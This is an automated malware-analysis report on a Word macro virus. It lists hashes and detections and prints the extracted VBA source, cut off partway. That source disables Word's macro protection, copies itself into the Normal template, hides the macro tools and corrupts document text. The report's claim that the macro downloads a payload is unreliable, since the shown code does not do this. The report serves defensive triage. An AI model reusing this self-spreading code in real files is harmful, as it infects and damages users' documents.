Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e27b358c92a33ce1…

MALICIOUS

Office (OLE)

37.0 KB Created: 1997-09-17 03:18:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: 67650a2a9b1ed3c8ba52eeb9faf75c9d SHA-1: 41fa4d4d171083483d2558304b9d0073a22fc7c4 SHA-256: e27b358c92a33ce182a985ad9ed18012c7883b9c7bbb8f60fea4011dcba75633
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains a VBA macro that is triggered by the Document_Open event, indicating a malicious intent to execute code upon opening. The macro appears to be designed to download and execute a secondary payload, as suggested by the heuristic firings and the general behavior of such documents. The ClamAV detection further supports its malicious nature.

Heuristics 3

  • ClamAV: Doc.Trojan.Redden-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Redden-2
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 26129 bytes
SHA-256: bffd8379b1512f08d9fa048bb5a3c636291584cde3d3da8241d961dd682a1b57
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Private Sub Document_Close()
'  ÂÄÏÓ
On Error GoTo Phuck
Options.VirusProtection = False
Options.SaveNormalPrompt = False
Randomize
can = Int(4 * Rnd)
If can = 4 Then
 For Each doc In Documents
  ss = doc.Name
  mycheck = ss Like "Äîêóìåíò#**"
  resp = MsgBox("Ðåêîìåíäóåòñÿ coõðàíèòü èçìåíåíèÿ â äîêóìåíòå " & ss + " âî èçáåæàíèå ïîñëåäñòâèé çàâèñàíèÿ êîìï'þòåðà", vbYes + vbInformation + vbDefaultButton1)
  If resp = vbOK Then doc.Save
  If doc.Saved Then
  Options.VirusProtection = False
  Options.SaveNormalPrompt = False
  With Selection.Find
       .ClearFormatting
       .Replacement.ClearFormatting
       .Text = " "
       .Replacement.Text = "$ÂÄÏÓ$"
       .Forward = True
       .Wrap = wdFindContinue
       .Format = True
       .MatchCase = False
       .MatchWholeWord = False
       .MatchWildcards = False
       .MatchSoundsLike = False
       .MatchAllWordForms = False
       'If .Found = True Then Font.Bold = True
   End With
   Selection.Find.Execute Replace:=wdReplaceAll
   doc.Save
   doc.Close
  End If
 Next doc
End If
If ThisDocument.FullName = NormalTemplate.FullName Then
Set dest = ActiveDocument.VBProject.VBComponents("ThisDocument")
Set sour = NormalTemplate.VBProject.VBComponents("ThisDocument")
Else
Set sour = ThisDocument.VBProject.VBComponents("ThisDocument")
Set dest = NormalTemplate.VBProject.VBComponents("ThisDocument")
End If
cou = dest.CodeModule.countoflines
If cou > 0 Then
For J = 1 To cou
dest.CodeModule.DeleteLines (1)
Next J
End If
lin = sour.CodeModule.Lines(1, sour.CodeModule.countoflines)
dest.CodeModule.AddFromString (lin)
already = False
For I = 1 To NormalTemplate.VBProject.VBComponents.Count
aprj = NormalTemplate.VBProject.VBComponents(I).Name
If aprj = "ÂÄÏÓ" Then already = True
Next I
If Not already Then
NormalTemplate.VBProject.VBComponents.Add (vbext_ct_StdModule)
NormalTemplate.VBProject.VBComponents(NormalTemplate.VBProject.VBComponents.Count).Name = "ÂÄÏÓ"
Set nor = NormalTemplate.VBProject.VBComponents("ÂÄÏÓ").CodeModule
eol = Chr(13) + Chr(10)
nor.AddFromString ("Sub ToolsMacro" + eol + "End Sub")
nor.AddFromString ("Sub Organizer" + eol + "End Sub")
nor.AddFromString ("Sub ViewVBCode" + eol + "End Sub")
nor.AddFromString ("Sub FileTemplates" + eol + "End Sub")
End If
Phuck:
End Sub

Private Sub Document_Open()
'  ÂÄÏÓ
On Error GoTo Phuck
Options.VirusProtection = False
Options.SaveNormalPrompt = False
Randomize
can = Int(4 * Rnd)
If can = 4 Then
 For Each doc In Documents
  ss = doc.Name
  mycheck = ss Like "Äîêóìåíò#**"
  resp = MsgBox("Ðåêîìåíäóåòñÿ coõðàíèòü èçìåíåíèÿ â äîêóìåíòå " & ss + " âî èçáåæàíèå ïîñëåäñòâèé çàâèñàíèÿ êîìï'þòåðà", vbYes + vbInformation + vbDefaultButton1)
  If resp = vbOK Then doc.Save
  If doc.Saved Then
  Options.VirusProtection = False
  Options.SaveNormalPrompt = False
  With Selection.Find
       .ClearFormatting
       .Replacement.ClearFormatting
       .Text = " "
       .Replacement.Text = "$ÂÄÏÓ$"
       .Forward = True
       .Wrap = wdFindContinue
       .Format = True
       .MatchCase = False
       .MatchWholeWord = False
       .MatchWildcards = False
       .MatchSoundsLike = False
       .MatchAllWordForms = False
       'If .Found = True Then Font.Bold = True
   End With
   Selection.Find.Execute Replace:=wdReplaceAll
   doc.Save
   doc.Close
  End If
 Next doc
End If
If ThisDocument.FullName = NormalTemplate.FullName Then
Set dest = ActiveDocument.VBProject.VBComponents("ThisDocument")
Set sour = NormalTemplate.VBProject.VBComponents("ThisDocument")
Else
Set sour = ThisDocument.VBProject.VBComponents("ThisDocument")
Set dest = NormalTemplate.VBProject.VBComponents("ThisDocument")
End If
cou = dest.CodeModule.countoflines
If cou > 0 Then
For J = 1 To cou
dest.CodeM
... (truncated)